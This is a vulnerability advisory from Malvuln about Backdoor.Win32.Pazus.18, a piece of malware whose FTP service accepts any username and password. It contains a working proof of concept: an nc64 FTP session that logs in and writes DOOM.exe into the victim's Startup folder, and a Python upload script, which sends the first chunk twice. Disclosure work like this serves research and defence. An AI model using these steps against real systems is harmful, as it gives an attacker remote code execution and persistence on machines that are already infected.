Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/5be13eb16018ab69157f8c8e96e7d6bf.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Pazus.18
Vulnerability: Authentication Bypass RCE
Description: Pazus malware listens on TCP port 21. Third-party attackers who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands, this can result in remote code execution.
Type: PE32
MD5: 5be13eb16018ab69157f8c8e96e7d6bf
Vuln ID: MVID-2021-0246
Disclosure: 06/12/2021

Exploit/PoC:
nc64.exe 192.168.18.127 21

220 PaSzCzuS FTP Server ready.
USER mal
331 Password required for mal.
PASS vuln
230 User mal logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
CWD C:\Users\Victim\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
250 CWD command successful. "C:/Users/Victim/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/" is current directory.
PASV
227 Entering Passive Mode (192,168,18,127,195,95).
STOR DOOM.exe
150 Opening data connection for DOOM.exe.
226 File received ok


from socket import *

MALWARE_HOST="192.168.18.127"
#195*256 + 95
PORT=50015
DOOM="DOOM.exe"

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    f = open(DOOM, "rb")
    EXE = f.read()
    s.send(EXE)

    while EXE:
        s.send(EXE)
        EXE=f.read()
    
    s.close()

    print("Backdoor.Win32.Pazus.18 / Authentication Bypass RCE")
    print("MD5: 5be13eb16018ab69157f8c8e96e7d6bf")
    print("By Malvuln");

if __name__=="__main__":
    doit()


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